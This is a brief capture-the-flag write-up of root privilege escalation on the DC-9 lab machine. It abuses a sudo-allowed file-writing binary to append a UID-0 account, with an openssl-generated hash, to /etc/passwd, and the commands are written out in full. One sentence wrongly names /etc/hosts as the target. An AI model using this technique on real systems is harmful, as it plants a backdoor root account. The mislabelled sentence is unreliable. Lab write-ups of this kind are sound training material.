DC-9_Privilege_Escalation

sudo privileges

---

It has been identified that the fredf user has sudo privileges to execute the /opt/devstuff/dist/test/test command without getting prompted for password as the root account.

The /opt/devstuff/dist/test/test file seems to be the binary version of the Python script; /opt/devstuff/test.py The python script:

• Reads the first argument
• Writes the content of the first argument to the second argument.

fredf@dc-9:~$ openssl passwd qwe123
wGjkkGNAt0rG2

Creating a password hash using openssl.

fredf@dc-9:~$ echo 'r00t:wGjkkGNAt0rG2:0:0:r00t:/root:/bin/bash' > pe

Building a “root” profile into the pe file.

fredf@dc-9:~$ sudo -u root /opt/devstuff/dist/test/test ./pe /etc/passwd

The command above will read the pe file containing the “root” profile, and append it to the /etc/hosts file.

System level compromise